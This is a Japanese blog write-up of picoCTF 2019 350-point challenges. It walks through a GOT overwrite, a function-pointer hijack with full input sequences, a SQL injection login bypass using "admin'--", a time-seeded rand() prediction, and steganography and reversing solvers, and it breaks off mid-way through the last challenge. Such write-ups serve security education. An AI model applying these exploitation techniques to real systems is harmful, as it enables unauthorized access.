好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 350pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[General] 1_wanna_b3_a_r0ck5tar (350pt)

I wrote you another song. Put the flag in the picoCTF{} flag format

また歌です。歌詞です。lyrics.txtが配布されます。

Rocknroll is right              
Silence is wrong                
A guitar is a six-string        
Tommy's been down               
Music is a billboard-burning razzmatazz!
Listen to the music             
If the music is a guitar                  
Say "Keep on rocking!"                
Listen to the rhythm
If the rhythm without Music is nothing
Tommy is rockin guitar
Shout Tommy!                    
Music is amazing sensation 
Jamming is awesome presence
Scream Music!                   
Scream Jamming!                 
Tommy is playing rock           
Scream Tommy!       
They are dazzled audiences                  
Shout it!
Rock is electric heaven                     
Scream it!
Tommy is jukebox god            
Say it!                                     
Break it down
Shout "Bring on the rock!"
Else Whisper "That ain't it, Chief"                 
Break it down 

あれ、またrocknroll... mus1cと同じ解法でいけるのか?

$ kaiser-ruby transpile lyrics.txt > output.rb

ちゃんとtranspile出来ました。

@rocknroll = true
@silence = false
@a_guitar = 19
@tommy = 44
@music = 160
print '> '
__input = $stdin.gets.chomp
@the_music = Float(__input) rescue __input
if @the_music == @a_guitar
  puts ("Keep on rocking!").to_s
  print '> '
__input = $stdin.gets.chomp
@the_rhythm = Float(__input) rescue __input
  if @the_rhythm - @music == nil
    @tommy = 66
    puts (@tommy).to_s
    @music = 79
    @jamming = 78
    puts (@music).to_s
    puts (@jamming).to_s
    @tommy = 74
    puts (@tommy).to_s
    @tommy = 79
    puts (@tommy).to_s
    @rock = 86
    puts (@rock).to_s
    @tommy = 73
    puts (@tommy).to_s
    break
    puts ("Bring on the rock!").to_s
  else
    break
  end
end

このまま実行するとエラーになりますが、入力が条件を満たすと

66
79
78
74
79
86
73

が出力されるコードのようです。これをasciiに変換してあげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

arr = [66, 79, 78, 74, 79, 86, 73]

flag = ''
for n in arr:
    flag += chr(n)
print('picoCTF{' + flag + '}')

実行結果

$ python solve.py 
picoCTF{BONJOVI}

[Binary] GoT (350pt)

You can only change one address, here is the problem: program. It is also found in /problems/got_3_4ba3deeda2ea9b203c6a6425f183e7ed on the shell server. Source.

実行ファイルvulnと、ソースコードvuln.cが配布されます。タイトルからして、今回は GOT overwrite 関連の問題のようです。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FLAG_BUFFER 128

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  puts(buf);
  fflush(stdout);
}


int *pointer;

int main(int argc, char *argv[])
{
  
   puts("You can just overwrite an address, what can you do?\n");
   puts("Input address\n");
   scanf("%d",&pointer);
   puts("Input value?\n");
   scanf("%d",pointer);
   puts("The following line should print the flag\n");
   exit(0);
}

pointerのアドレスと値を入力できるので、mainのexit()の関数のアドレスを指定しておいてwin()の関数のアドレスで置き換えてあげれば良さそう。

[*] '/picoCTF_2019/Binary/350_GoT/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

とのことなので、PIEは無効です。
radare2で各関数のアドレスを調べます。

$ r2 got 
[0x080484b0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x080484b0]> afl
(略)
0x08048460    1 6            sym.imp.exit
(略)
0x080485c6    3 153          sym.win
0x0804865f    1 160          sym.main
(略)

exit関数は0x08048460win関数は0x080485c6のようです。入力値は%dで処理されるので10進に変換して入力します。

$ ./vuln 
You can just overwrite an address, what can you do?

Input address

134520860
Input value?

134514118
The following line should print the flag

picoCTF{A_s0ng_0f_1C3_and_f1r3_1ef72b2d}

取れました!後で見返してみたら、picoCTF2018 got-shell?とほぼ同じ問題でした。

[Forensics] Investigative Reversing 1 (350pt)

We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-1_4_266adcde17fa2ab2ec454e6c5379ad81 on the shell server.

今回は配布物が増え、実行ファイルmysteryと、画像ファイルmystery.png, mystery2.png, mystery3.pngが配布されます。

Investigative Reversing 0 と同様に、pngファイルを zsteg ツールにかけてみます。ちなみにこちらも string コマンドでわからなくはないです。

$ zsteg -a mystery.png 
[?] 16 bytes of extra data after image end (IEND), offset = 0x1e873
extradata:0         .. text: "CF{An1_855611d3}"
imagedata           .. text: "PPP@@@@@@@@@@@@"

$ zsteg -a mystery2.png 
[?] 2 bytes of extra data after image end (IEND), offset = 0x1e873
extradata:0         .. 

    00000000: 85 73                                             |.s              |
imagedata           .. text: "PPP@@@@@@@@@@@@"

$ zsteg -a mystery3.png 
[?] 8 bytes of extra data after image end (IEND), offset = 0x1e873
extradata:0         .. text: "icT0tha_"
imagedata           .. text: "PPP@@@@@@@@@@@@"

更に同様に、実行ファイルを ghidra で decompile してみます。

f:id:kusuwada:20191115233959p:plain

解析結果の変数名をちょっとわかりやすくしたのがこちら。前回と同じ、ここから逆変換でいけそうです。解析結果が間違ってそうなところは微修正したりしています。

void main(void)

{
  FILE *stream_flag;
  FILE *stream_mystery;
  FILE *stream_mystery2;
  FILE *stream_mystery3;
  long in_FS_OFFSET;
  char buf_flag_3;
  int idx;
  char buf_flag [4]; // ここは[4]じゃなくて[26]と思われる
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  stream_flag = fopen("flag.txt","r");
  stream_mystery = fopen("mystery.png","a");
  stream_mystery2 = fopen("mystery2.png","a");
  stream_mystery3 = fopen("mystery3.png","a");
  if (stream_flag == (FILE *)0x0) {
    puts("No flag found, please make sure this is run on the server");
  }
  if (stream_mystery == (FILE *)0x0) {
    puts("mystery.png is missing, please run this on the server");
  }
  fread(buf_flag,0x1a,1,stream_flag);  // 0x1a = 26 flagは 26 byte
  fputc((int)buf_flag[1],stream_mystery3);  // mystery3.png に flag[1] を書き込み
  fputc((int)(char)(buf_flag[0] + '\x15'),stream_mystery2);  //mystery2.png に flag[0] に \x15 を足して書き込み
  fputc((int)buf_flag[2],stream_mystery3);  // mystery3.png に flag[2] を書き込み
  buf_flag_3 = buf_flag[3];
  fputc((int)buf_flag[4],stream_mystery3);  // mystery3.png に flag[4] を書き込み
  fputc((int)buf_flag[5],stream_mystery);   // mystery.png に flag[5] を書き込み
  idx = 6;
  while (idx < 10) {
    buf_flag_3 = buf_flag_3 + '\x01';
    fputc((int)buf_flag[(long)idx],stream_mystery);  // mystery.png に flag[idx] を書き込み
    idx = idx + 1;
  }
  fputc((int)buf_flag_3,stream_mystery2);  // mystery2.png に flag[3] + '\x01'*4 を書き込み
  idx = 10;
  while (idx < 0xf) {  // 0xf = 15
    fputc((int)buf_flag[(long)idx],stream_mystery3);  // mystery3.png に flag[idx] を書き込み
    idx = idx + 1;
  }
  idx = 0xf;  // 0xf = 15
  while (idx < 0x1a) {  // 0x1a = 26
    fputc((int)buf_flag[(long)idx],stream_mystery);  //  mystery.png に flag[idx] を書き込み
    idx = idx + 1;
  }
  fclose(stream_mystery);
  fclose(stream_flag);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

逆変換スクリプト

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

mystery1 = list('CF{An1_855611d3}')
mystery2 = list(b'\x85\x73')
mystery3 = list('icT0tha_')
flag = ''

print('length: ' + str(len(mystery1) + len(mystery2) + len(mystery3)))

flag += chr(mystery2.pop(0)-0x15)
flag += mystery3.pop(0)
flag += mystery3.pop(0)
flag += chr(mystery2.pop(0)-4)
flag += mystery1.pop(0)
flag += mystery3.pop(0)

idx = 6
cnt = 0
while idx < 10:
    flag += mystery1.pop(0)
    idx += 1
idx = 10
while idx < 15:
    flag += mystery3.pop(0)
    idx += 1
idx = 15
while idx < 26:
    flag += mystery1.pop(0)
    idx += 1

print(flag)

実行結果

$ python solve.py 
length: 26
picoCTF{An0tha_1_855611d3}

ちなみに、flagの anothaってよくわからなかったんですけど、調べたら "slang for another" って出てきました。

[Forensics] Investigative Reversing 2 (350pt)

We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-2_1_5837675a2c87cd587ee601db8871d372 on the shell server.

このシリーズ3つ目。今回は実行ファイルmysteryと、画像ファイルencoded.bmpが配布されます。

今回も画像ファイルをいくつかのsteganoツールに書けてみましたが、それっぽいものは出てきませんでした。

しかたがないので、実行ファイルmysteryの方を見てみます。こちらも今回ghidraで解析・decompileしてもらいました。

f:id:kusuwada:20191115234036p:plain

こちらのコードを今回も変数をわかりやすく書き換えて、ちょっとコメントを入れたのがこちら。

undefined8 main(void)

{
  size_t data_num;
  long in_FS_OFFSET;
  char buf_oridinal;
  char encoded_chr;
  int local_7c;
  int cnt;
  int idx;
  uint i;
  undefined4 local_6c;
  FILE *file_flag;
  FILE *file_original;
  FILE *file_encoded;
  char buf_flag [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_6c = 0;
  file_flag = fopen("flag.txt","r");
  file_original = fopen("original.bmp","r");
  file_encoded = fopen("encoded.bmp","a");
  if (file_flag == (FILE *)0x0) {
    puts("No flag found, please make sure this is run on the server");
  }
  if (file_original == (FILE *)0x0) {
    puts("original.bmp is missing, please run this on the server");
  }
  data_num = fread(&buf_oridinal,1,1,file_original);
  cnt = 0;
  while (cnt < 2000) {  // 2000byteをoriginalからencodedにコピー
    fputc((int)buf_oridinal,file_encoded);
    data_num = fread(&buf_oridinal,1,1,file_original);
    cnt = cnt + 1;
  }
  data_num = fread(buf_flag,0x32,1,file_flag);  // 0x32=50 flagは50文字
  if ((int)data_num < 1) {
    puts("flag is not 50 chars");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  idx = 0;
  while (idx < 0x32) {  // 0x32=50
    i = 0;
    while ((int)i < 8) {  // 50 * 8 = 400 byte
      encoded_chr = codedChar((ulong)i,
                              (ulong)(uint)(int)(char)(buf_flag[(long)idx] + -5),
                              (ulong)(uint)(int)buf_oridinal);
      fputc((int)encoded_chr,file_encoded);  // codedCharで得られた文字を encoded に書き込み
      fread(&buf_oridinal,1,1,file_original);  // 次のoridinalを読み出し
      i = i + 1;
    }
    idx = idx + 1;
  }
  while ((int)data_num == 1) {  // data_num が 0 になるまで、originalからencodedにコピー
    fputc((int)buf_oridinal,file_encoded);
    data_num = fread(&buf_oridinal,1,1,file_original);
  }
  fclose(file_encoded);
  fclose(file_original);
  fclose(file_flag);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

ulong codedChar(int index, byte b_flag, byte b_ord)

{
  byte shifted;
  
  shifted = b_flag;
  if (index != 0) {
    shifted = (byte)((int)(char)b_flag >> ((byte)index & 0x1f));
    // index & 0x1f は index が 0~7の場合は indexそのまま
    // すなわち、 shifted = b_flag >> index
  }
  return (ulong)(b_ord & 0xfe | shifted & 1);
  // 下位1ビットがflag(shifted)
}

flagの長さは、今回は 0x32 = 50d, encoded.bmp の最初 2000 byte は original からコピーしてあり、そこから 0x32 * 8 = 400d byte に flag を codedChar() 関数でチョメチョメした内容が格納されている。その後はまたoriginalの続きが書き込まれるようなので、今回は先頭から 2000 ~ 2400 byte を使えば良さそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

def decodeChar(data):
    return bin(data)[-1]

with open('encoded.bmp', 'rb') as f:
    data = f.read()[2000:2400]

# just information
for idx in range(50):
    print(data[idx*8:idx*8+7])

flag = ''
for idx in range(50):
    fragment = ''
    for i in range(8):
        fragment += decodeChar(data[idx*8+7-i])
    flag += chr(int(fragment, 2) + 5)

print(flag)

実行結果

$ python solve.py 
b'\xe9\xe9\xe8\xe9\xe8\xe9\xe9'
b'\xe8\xe8\xe9\xe8\xe8\xe9\xe9'
b'\xe8\xe9\xe9\xe9\xe9\xe8\xe9'
b'\xe8\xe9\xe8\xe9\xe8\xe9\xe9'
b'\xe8\xe9\xe9\xe9\xe9\xe9\xe8'
b'\xe9\xe9\xe9\xe9\xe8\xe8\xe9'
b'\xe9\xe8NNNNO'
(中略)
b'\xe9\xe9\xe8\xe9\xe8\xe9\xe8'
b'\xe8\xe8\xe8\xe9\xe9\xe9\xe9'
picoCTF{n3xt_0n3000000000000000000000000024dd0ab0}

正直若干ノリで書いて、動かしながら微調整しようと思ったら flag format (pic..) 出てきてびっくり。もうちょっと試行錯誤するかと思った。勘が全部あたった感じヽ(•̀ω•́ )ゝ✧

[Web] Irish-Name-Repo 2 (350pt)

There is a website running at https://2019shell1.picoctf.com/problem/40968/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:40968

Hints

The password is being filtered.

また指定のサイトに飛んでみます。Irish-Name-Repo 1 の問題と全く同じサイトに見えます。

f:id:kusuwada:20191012025145p:plain

同じくUsernameに admin'-- と入れると入れました。あれ?
1問目が想定解と違ったかな…?

f:id:kusuwada:20191012025203p:plain

[Forensics] WebNet0 (350pt)

We found this packet capture and key. Recover the flag. You can also find the file in /problems/webnet0_0_363c0e92cf19b68e5b5c14efb37ed786.

Hints

Try using a tool like Wireshark How can you decrypt the TLS stream?

capture.pcapというパケットキャプチャと、picopico.keyという鍵っぽいファイルが入手できます。Hintsから、TLS通信を平文に変換できると良さそう。前にもwiresharkでこういう問題を解いた記憶が…。

SECCON 2017 online CTF の Very smooth でした!こちらの記事を元に思い出しながらやります。今回は鍵の抽出はする必要がなくて、配られている鍵でなんとかなりそうです。

wiresharkPreferences > Protocols > SSL > RSA keys list で、配布されたkeyを登録します。portやprotocolは指定しなくてもよしなにやってくれます。
通信を再度見てみると、復号された通信が緑色になって表示されています。

f:id:kusuwada:20191012025242p:plain

ここでカーソルがあたっている通信が、暗号化されていた通信の肝っぽいGETの戻りなので、こちらをhtmlで書き出して見てみるとこんな感じ。

f:id:kusuwada:20191012025257p:plain

うーん、ハズレ?
再度通信の方をwiresharkで見てみると、

f:id:kusuwada:20191012025310p:plain

Header部分にありました!

Pico-Flag: picoCTF{nongshim.shrimp.crackers}

[Reversing] droids1

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids1_0_b7f94e21c7e45e6604972f9bc3f50e24.

Hints

apkファイルone.apkが配布されます。今回もdroids0同様、Android Studioで開いてみます。

f:id:kusuwada:20191115234242p:plain

今回も押してほしそうなボタンが有るのみの画面なので、ボタンを押してみますが、logcatには何も表示されません。今回のヒント(というか注意)は brute force not required だそうです。

UIをよく見てみると、アプリには文字列が入力できる様子。brute force が出てくるってことは、この文字列を色々変えてアタックする可能性を示唆しているのかな。(この文言を読むまでtextエリアの存在に気づいていなかった)

Android Studio 内でソースを物色していると、ボタンを押した後に表示されるNOPEを発見。one > java > com.hellocmu > picoctf > FlagstaffHill(表示の方法によってdirectoryの表示形式は変わります。)

.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .registers 4
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    .line 11
    const v0, 0x7f0b002f

    invoke-virtual {p1, v0}, Landroid/content/Context;->getString(I)Ljava/lang/String;

    move-result-object v0

    .line 12
    .local v0, "password":Ljava/lang/String;
    invoke-virtual {p0, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v1

    if-eqz v1, :cond_12

    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->fenugreek(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    return-object v1

    .line 13
    :cond_12
    const-string v1, "NOPE"

    return-object v1
.end method

同じソースの上の方に、passwordという文言が。
Androidのresourceのstringに、passwordという項目で登録がないか探してみます。

左のProjectツリーから、one.apkを選択。階層が表示されるので、resourceが格納されている res ... ではなく resources.arsc を見てみます。上記よりStringにありそうなので、stringを選択。Name == password の項目がないかを確認します。ありました!

f:id:kusuwada:20191115234339p:plain

あとは立ち上げたアプリに、このpasswordを入れてボタンを押すと、flagが表示されました!

f:id:kusuwada:20191115234359p:plain

Android Studio、仕事でちらっと使ったことがあったけど、慣れてないので何がどこにあるのか迷子になりがち。それでも触っててよかった。

[Forensics] pastaAAA (350pt)

This pasta is up to no good. There MUST be something behind it.

パスタの画像(png)が配布されます。

f:id:kusuwada:20191115234449p:plain

※この画像はオリジナルではないのでflag隠れてません

ノーヒントのステガノ。燃えます。

foremost, zstegなど試しましたが、stegoVeritasがヒットしました。

$ stegoveritas ctf.png 
Running Module: SVImage
+---------------------------+------+
|        Image Format       | Mode |
+---------------------------+------+
| Portable network graphics | RGB  |
+---------------------------+------+
Running Module: MultiHandler

Exif
====
+---------------------+---------------------------+
| key                 | value                     |
+---------------------+---------------------------+
| MIMEType            | image/png                 |
| ImageHeight         | 620                       |
| ExifToolVersion     | 10.4                      |
| Megapixels          | 0.512                     |
| FilePermissions     | rw-r--r--                 |
| FileSize            | 374 kB                    |
| FileModifyDate      | 2019:11:14 06:10:57+00:00 |
| BitDepth            | 8                         |
| ImageSize           | 826x620                   |
| FileName            | ctf.png                   |
| Compression         | Deflate/Inflate           |
| SourceFile          | /data/ctf.png             |
| ImageWidth          | 826                       |
| Filter              | Adaptive                  |
| Directory           | /data                     |
| FileInodeChangeDate | 2019:11:14 06:16:06+00:00 |
| Interlace           | Noninterlaced             |
| ColorType           | RGB                       |
| FileType            | PNG                       |
| FileAccessDate      | 2019:11:14 06:22:04+00:00 |
| FileTypeExtension   | png                       |
+---------------------+---------------------------+
Found something worth keeping!
PNG image data, 826 x 620, 8-bit/color RGB, non-interlaced
+--------+------------------+-------------------------------------------+-----------+
| Offset | Carved/Extracted | Description                               | File Name |
+--------+------------------+-------------------------------------------+-----------+
| 0x29   | Carved           | Zlib compressed data, default compression | 29.zlib   |
| 0x29   | Extracted        | Zlib compressed data, default compression | 29        |
+--------+------------------+-------------------------------------------+-----------+

こんな感じで解析してくれ、解析イメージを何パターンか出力してくれます。
今回はこの出力画像(36枚)の中に、怪しい画像が混じっていました。パスタ画像の中にpicoCTFのロゴが混じっていたみたい。

f:id:kusuwada:20191115234513p:plain:w300   f:id:kusuwada:20191115234548p:plain:w300

2つを重ねると、普通にflagが読めそう。

f:id:kusuwada:20191115234605p:plain

やった!実際どのように処理して出てきた画像なのか興味がありますが、今回は深追いせずここまで。

[Binary] pointy (350pt)

Exploit the function pointers in this program. It is also found in /problems/pointy_3_deeb3a1b1989d448ed67de5f3e45ca1f on the shell server. Source.

Hints

A function pointer can be used to call any function

実行ファイルvulnソースコードvuln.cが配布されます。

実行ファイルはこんな感じ。

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define FLAG_BUFFER 128
#define NAME_SIZE 128
#define MAX_ADDRESSES 1000

int ADRESSES_TAKEN=0;
void *ADDRESSES[MAX_ADDRESSES];

void win() {
    char buf[FLAG_BUFFER];
    FILE *f = fopen("flag.txt","r");
    fgets(buf,FLAG_BUFFER,f);
    puts(buf);
    fflush(stdout);
}

struct Professor {
    char name[NAME_SIZE];
    int lastScore;
};

struct Student {
    char name[NAME_SIZE];
    void (*scoreProfessor)(struct Professor*, int);
};

void giveScoreToProfessor(struct Professor* professor, int score){
    professor->lastScore=score;
    printf("Score Given: %d \n", score);

}

void* retrieveProfessor(char * name ){
    for(int i=0; i<ADRESSES_TAKEN;i++){
        if( strncmp(((struct Student*)ADDRESSES[i])->name, name ,NAME_SIZE )==0){
            return ADDRESSES[i];
        }
    }
    puts("person not found... see you!");
    exit(0);
}

void* retrieveStudent(char * name ){
    for(int i=0; i<ADRESSES_TAKEN;i++){
        if( strncmp(((struct Student*)ADDRESSES[i])->name, name ,NAME_SIZE )==0){
            return ADDRESSES[i];
        }
    }
    puts("person not found... see you!");
    exit(0);
}

void readLine(char * buff){
    int lastRead = read(STDIN_FILENO, buff, NAME_SIZE-1);
    if (lastRead<=1){
        exit(0);
        puts("could not read... see you!");
    }
    buff[lastRead-1]=0;
}

int main (int argc, char **argv)
{
    while(ADRESSES_TAKEN<MAX_ADDRESSES-1){
        printf("Input the name of a student\n");
        struct Student* student = (struct Student*)malloc(sizeof(struct Student));
        ADDRESSES[ADRESSES_TAKEN]=student;
        readLine(student->name);
        printf("Input the name of the favorite professor of a student \n");
        struct Professor* professor = (struct Professor*)malloc(sizeof(struct Professor));
        ADDRESSES[ADRESSES_TAKEN+1]=professor;
        readLine(professor->name);
        student->scoreProfessor=&giveScoreToProfessor;
        ADRESSES_TAKEN+=2;
        printf("Input the name of the student that will give the score \n");
        char  nameStudent[NAME_SIZE];
        readLine(nameStudent);
        student=(struct Student*) retrieveStudent(nameStudent);
        printf("Input the name of the professor that will be scored \n");
        char nameProfessor[NAME_SIZE];
        readLine(nameProfessor);
        professor=(struct Professor*) retrieveProfessor(nameProfessor);
        puts(professor->name);
        unsigned int value;
        printf("Input the score: \n");
        scanf("%u", &value);
        student->scoreProfessor(professor, value);       
    }
    return 0;
}

最終的にwin()関数を呼び出すのがゴールっぽい。

コードを読んで流れを確認します。どうやら生徒・教授を登録し、指定した生徒が教授を評価する、という流れのようです。

  • 生徒を登録
    • Student構造体を作成(malloc)
    • student->name(size:128) に ユーザー入力 を代入
  • 教授を登録
    • Professor構造体を作成(malloc)
    • professor->name(size:128) に ユーザー入力 を代入
  • 上記で登録した生徒のscoreProfessorgiveScoreToProfessor()関数のアドレスを代入
  • 採点する側の生徒の名前を入力
    • 入力した名前を、既存のリストから検索 (retriveStudent())
    • いなかった場合はここで終了
  • 採点される教授の名前を入力
    • 入力した名前を、既存のリストから検索 (retrieveProfessor())
    • いなかった場合はここで終了
  • 点数を入力
    • 生徒が教授を採点
    • 入力した点数は、上記で student->scoreProfessor に登録された giveScoreToProfessor() 関数に渡され、教授の lastScoreに格納される。この関数内で Score Giben: {score} が出力される。

上記を、500回を上限に繰り返します。
なぜ生徒の登録と教授の登録、採点情報の入力が1シーケンスなのか、使いにくいことこの上ないシステムだな!と悪態をつき感想を述べつつ、ゴールまでの道筋を考えます。CTF用のプログラムなので仕方がない。

あと、生徒と教授がADDRESS[]配列で管理されているが、生徒か教授かの区別が特にありません。強いて言うなら配列の偶数番目に生徒が、奇数番目に教授が格納されているはず、というくらい。更に、retrieveStudent()retrieveProfessor()は中身が全く一緒で、名前が同じ生徒・教授は区別されない様子。関数名は違えど、両方生徒も教授もヒットします。アヤシイ。

さて、ヒントから、関数ポインタによって任意の関数を呼び出すのが想定解っぽいことが推測できます。student->scoreProfessor を win関数に設定できれば flag がゲットできそう。
これを設定している箇所は一つのみ

student->scoreProfessor=&giveScoreToProfessor;

で、ユーザー入力ではありません。ただ、Student構造体は

struct Student {
    char name[NAME_SIZE];
    void (*scoreProfessor)(struct Professor*, int);
};

なので、もしnameをOverflowできたら、溢れたぶんがscoreProfessorに設定できそう。…でも&giveScoreToProfessorを入れるタイミングのほうがあとなので、上書きされてしまいます…。困った…。

困ったなーとボーッと眺めていると、さっき怪しいと思った部分を思い出しました。これ、studentじゃなくてprofessor構造体だったら、nameの次の領域(professorの場合はscore)に任意の値が書き込めそうじゃない?しかも採点する生徒の指定の時に教授の名前を指定したら、教授ががヒットして生徒として扱ってくれます。よし、これだ。

  1. sutdent_A 作成
  2. professor_A 作成
  3. 採点するstudentの検索時に sutdent_A を指定 (誰かしらヒットさせるため && 5.で落ちないため)
  4. 採点されるprofessorの検索時に professor_A の名前を入れる (誰かしらヒットさせるため)
  5. value (professor_A -> lastScore) に winアドレスを入れる
  6. --2周目--
  7. student_B 作成
  8. professor_B 作成
  9. 採点するstudentの検索時に professor_A の名前を入れる -> professor_A が student としてヒット
  10. student->scoreProfessor() の呼び出しで、 professor_A->lastScore が callされるので、ここに入れた winアドレスが呼び出されるはず

この作戦で行こう。

実行ファイルの各関数のアドレスを radare2 で調べます。

[0x080488ae]> afl
(略)
0x08048696    3 153          sym.win
0x0804872f    1 58           sym.giveScoreToProfessor
0x08048769    7 125          sym.retrieveProfessor
0x080487e6    7 125          sym.retrieveStudent
0x08048863    3 75           sym.readLine
0x080488ae    6 516          main
(略)

win関数のアドレスは 0x08048696 = 134514326
あとは picoCTF の shell server 上で、上記の流れのとおりに入力していきます。※わかりやすくするため、自分が入力したところに > を追加しています。

$ ./vuln 
Input the name of a student
> student_A
Input the name of the favorite professor of a student 
> professor_A
Input the name of the student that will give the score 
> student_A
Input the name of the professor that will be scored 
> professor_A
professor_A
Input the score: 
> 134514326
Score Given: 134514326 
Input the name of a student
> student_B
Input the name of the favorite professor of a student 
> professor_B
Input the name of the student that will give the score 
> professor_A
Input the name of the professor that will be scored 
> professor_B
professor_B
Input the score: 
> 90
picoCTF{g1v1ng_d1R3Ct10n5_1d57419d}

うおっっっっっっしゃーーーー!!┣¨ ୧(๑ ⁼̴̀ᐜ⁼̴́๑)૭ ヤ
pwn自力で解けた時の爽快感半端ない!

[Binary] seed-sPRiNG (350pt)

The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 21871.

Hints

How is that program deciding what the height is? You and the program should sync up!

実行ファイル seed_spring が配布されます。
指定されたホストに接続してみると、ゲームができるようです。

$ nc 2019shell1.picoctf.com 21871


                                                                             
                          #                mmmmm  mmmmm    "    mm   m   mmm 
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"
                                                                             


Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 

30問連続で、heightとやらを当て続ける問題のようです。タイトルとのseedと、30問も続けて当てる必要があることから、「random が推測できるやつか?」とメモを残したっきり、競技期間中は手を付けていませんでした。もったいない。

ソースが配布されていないので、とりあえず ghidra に突っ込んで decompile してもらいます。

f:id:kusuwada:20191115234750p:plain

割ときれいなコードが出てきました!変数に手を加えたのがこちら。

undefined4 main(void) {
  uint input_height;
  uint random_height;
  uint seed;
  int cnt;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  puts("");
  puts("");
  puts("                                                                             ");
  puts("                          #                mmmmm  mmmmm    \"    mm   m   mmm ");
  puts("  mmm    mmm    mmm    mmm#          mmm   #   \"# #   \"# mmm    #\"m  # m\"   \"");
  puts(" #   \"  #\"  #  #\"  #  #\" \"#         #   \"  #mmm#\" #mmmm\"   #    # #m # #   mm");
  puts("  \"\"\"m  #\"\"\"\"  #\"\"\"\"  #   #          \"\"\"m  #      #   \"m   #    #  # # #    #");
  puts(" \"mmm\"  \"#mm\"  \"#mm\"  \"#m##         \"mmm\"  #      #    \" mm#mm  #   ##  \"mmm\"");
  puts("                                                                             ");
  puts("");
  puts("");
  puts("Welcome! The game is easy: you jump on a sPRiNG.");
  puts("How high will you fly?");
  puts("");
  fflush(stdout);
  seed = time((time_t *)0x0);
  srand(seed);
  cnt = 1;
  while( true ) {
    if (0x1e < cnt) {  // 0x1e = 30
      puts("Congratulation! You\'ve won! Here is your flag:\n");
      get_flag();
      fflush(stdout);
      return 0;
    }
    printf("LEVEL (%d/30)\n",cnt);
    puts("");
    random_height = rand();
    random_height = random_height & 0xf;
    printf("Guess the height: ");
    fflush(stdout);
    __isoc99_scanf(&DAT_00010c9a,&input_height);
    fflush(stdin);
    if (random_height != input_height) break;
    cnt = cnt + 1;
  }
  puts("WRONG! Sorry, better luck next time!");
  fflush(stdout);
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

void get_flag(void) {
  puts("");
  system("cat flag.txt");
  puts("");
  fflush(stdout);
  return;
}

rand()関数で生成した height を 30回連続で当てれば flag を出してくれるようです。

random_height = random_height & 0xf;

より、heightは 0~15 になります。

ここで、seedの決定とsrandの設定部分を見てみます。

seed = time((time_t *)0x0);
srand(seed);

ここでしかsrand()をしていないので、同じseedから作成されたrand()の値は同じになります。srand参照。

厄介なのは、seedが固定だとやりやすかったのですが、seedは現在時刻を元に設定されていて、0.1秒以内の誤差じゃないと同じになりません。同時刻に実行したら同じseedを与えるスクリプトを書いて、問題スクリプトと「せーの!」で同時に立ち上げたらできるかな? -> テストしてみていけそうと判断。0.1秒は結構長かった。そしてlocalでやるとlocalのtimezoneになる & 問題サーバとlocalマシンの時刻同期ができてる必要があるので、実行環境には注意が必要そう。

ということで、問題のhostと同じshell serverで実行してみました。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    unsigned int seed;
    unsigned int height;
    int cnt;
    
    seed = time((time_t *)0x0);
    //printf("%d", seed);
    srand(seed);
    cnt = 1;
    while ( 30 > cnt ) {
        height = rand() & 0xf;
        printf("%d\n", height);
        cnt = cnt + 1;
    }
    return 0;
}

こんなスクリプトを書いて、picoCTF の shell server 上で compile, 実行してみます。

kusuwada@pico-2019-shell1:~$ vi spring.c
{上記のスクリプトを貼り付け}
kusuwada@pico-2019-shell1:~$ gcc spring.c 
kusuwada@pico-2019-shell1:~$ ./a.out 
1: 7
2: 3
3: 10
4: 14
(略)
29: 4
30: 15

手元のterminalでは、問題サーバに接続、スクリプトを実行してもらいます。

